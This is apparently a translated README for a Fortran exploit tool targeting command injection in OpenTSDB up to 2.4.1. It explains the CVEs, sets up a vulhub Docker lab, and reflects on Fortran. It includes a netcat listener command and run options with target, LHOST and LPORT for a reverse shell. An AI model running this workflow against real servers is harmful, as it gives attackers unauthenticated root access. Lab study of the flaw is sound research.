
Эксплойт для OpenTSDB <= 2.4.1, эксплуатирующий инъекцию команд (CVE-2023-36812/CVE-2023-25826), написанный на Fortran.
Эксплойт для инъекции команд в OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826), написанный на Fortran
Это эксплойт для уязвимости инъекции команд в OpenTSDB версий 2.4.1 и более ранних (CVE-2023-36812/CVE-2023-25826). Эксплойт написан на современном Fortran и использует официальную библиотеку http-client для Fortran, созданную ранее в этом году.
OpenTSDB — это открытая база данных временных рядов, написанная на Java. В 2020 году в версиях 2.4.0 и более ранних была обнаружена уязвимость инъекции команд, которая позволяла получить удалённое выполнение кода на хосте с правами root. Поскольку OpenTSDB не поддерживает аутентификацию, эта уязвимость, отслеживаемая как CVE-2020-35476, могла быть использована любым, у кого есть доступ к веб-интерфейсу OpenTSDB. Проблема была исправлена в версии 2.4.1.
В этом году было обнаружено, что патч для CVE-2020-35476 неполон, и инъекция команд по-прежнему возможна в OpenTSDB 2.4.1 через несколько векторов.
Детали:
Короче говоря, я увидел этот разговор:

Идея написать эксплойт на языке программирования, на котором людей отправили на Луну, настолько меня заинтриговала, что я должен был попробовать сам. Этот эксплойт — результат того эксперимента. На вопрос, был ли он успешным, я могу ответить лишь этими мудрыми, но проклятыми словами, которые кровно связывают всех разработчиков: У меня работает. ¯\(ツ)/¯
В любом случае, вот мои ключевые выводы из этого проекта:
В целом трудно представить, что этот язык действительно обретёт значимость в offensive security, хотя бы потому, что для любого мыслимого сценария есть множество надёжных современных альтернатив (Python, Go, Rust, Ruby, C# — лишь некоторые из них). Но если вам нравится экспериментировать с разными языками программирования и вы не против постоянно оборачивать строки в вызовы trim() (ОБРАТИТЕ НА ЭТО ВНИМАНИЕ, ЭТО ИЗБАВИТ ВАС ОТ ОГРОМНЫХ СТРАДАНИЙ), Fortran определённо стоит попробовать. Сейчас я без иронии болею за этот язык и, возможно, вернусь к нему, если они продолжат добавлять поддержку в библиотеку http-client, особенно если когда-нибудь добавят библиотеку http-server.
TL;DR: Fortran http-client lib делает «брр».
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /path/to/opentsdb_key_cmd_injection/
fpm (убедитесь, что сначала установили его. Инструкции по установке — в следующем разделе)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
Параметры:
-t - TARGET URL: базовый URL OpenTSDB (обязательно)-l - LHOST: IP-адрес системы, на которой запущен слушатель (обязательно)-p - LPORT: порт слушателя (обязательно)-v - VERBOSE: включить подробный вывод (необязательно)gfortran. В системах на базе Debian это делается так:apt install gfortran
chmod +x /<path>/to/fpm
Перед установкой fpm убедитесь, что в вашей системе установлен git.
Для установки вручную вы можете следовать официальным инструкциям здесь. Впрочем, это может быть утомительно, поэтому я рекомендую вместо этого использовать Docker.
Для версии 2.4.0 можно использовать docker-образ vulhub и следовать инструкциям по установке здесь. Этот образ был создан для CVE-2020-35476 — более старой уязвимости в OpenTSDB до версии 2.4.0 включительно.
Для версии 2.4.1 и, вероятно, любой другой версии можно использовать образ vulhub для OpenTSDB 2.4.0 и отредактировать его так, чтобы установить нужную вам версию. Я применил этот подход для 2.4.1, и всё отлично сработало.
Dockerfile и docker-entrypoint.sh из vulhub OpenTSDB 2.4.0 здесь и сохраните их в отдельном каталоге.Dockerfile замените все вхождения 2.4.0 на нужную версию, например 2.4.1docker-entrypoint.sh не нужно.docker-compose.yml со следующим содержимым:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
Я использовал такую структуру файлов:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml:docker-compose up -d
Fortran в основном известен как архаичный язык, сыгравший важную роль в истории современной вычислительной техники, но сегодня его уже нельзя считать актуальным. Впервые он был выпущен в 1957 году — более чем на десятилетие раньше и ARPANET, и Unix. Судя по этому видео с временными рядами, он был доминирующим языком программирования на протяжении 1960-х и 1970-х годов и оставался в десятке самых популярных языков до конца 1990-х. Но ко времени выхода Windows 98 он явно вышел из моды, уступив место более современным языкам вроде C, C++, Java и JavaScript, которые и сегодня по-прежнему широко используются.
Не считая смельчаков, которые поддерживают легаси-системы, сомневаюсь, что многие в IT (уж не говоря о тех, кто вне нашего пузыря) сталкивались с Fortran за последние два десятилетия или вообще знают, что он всё ещё существует. Несмотря на это, Fortran продолжает активно развиваться. Как указано на официальном сайте Fortran, последний пересмотр языка состоялся в 2018 году, и, будем надеяться, ещё один пересмотр мы увидим в этом году (2023). Более того, похоже, что в последние несколько лет сообщество Fortran было очень активным и выпустило несколько крупных проектов, помогающих модернизировать экосистему, в том числе:
С учётом этого похоже, что мейнтейнеры нацелены на своего рода возвращение Fortran или, по крайней мере, на то, чтобы дать языку реальный шанс просуществовать ещё несколько десятилетий. Хотя даже самый ярый фанат Fortran вряд ли ожидает, что язык снова войдёт в десятку самых популярных языков программирования, продолжающаяся модернизация языка и его экосистемы, вероятно, сделала Fortran более актуальным, чем он был за последние десять-двадцать лет.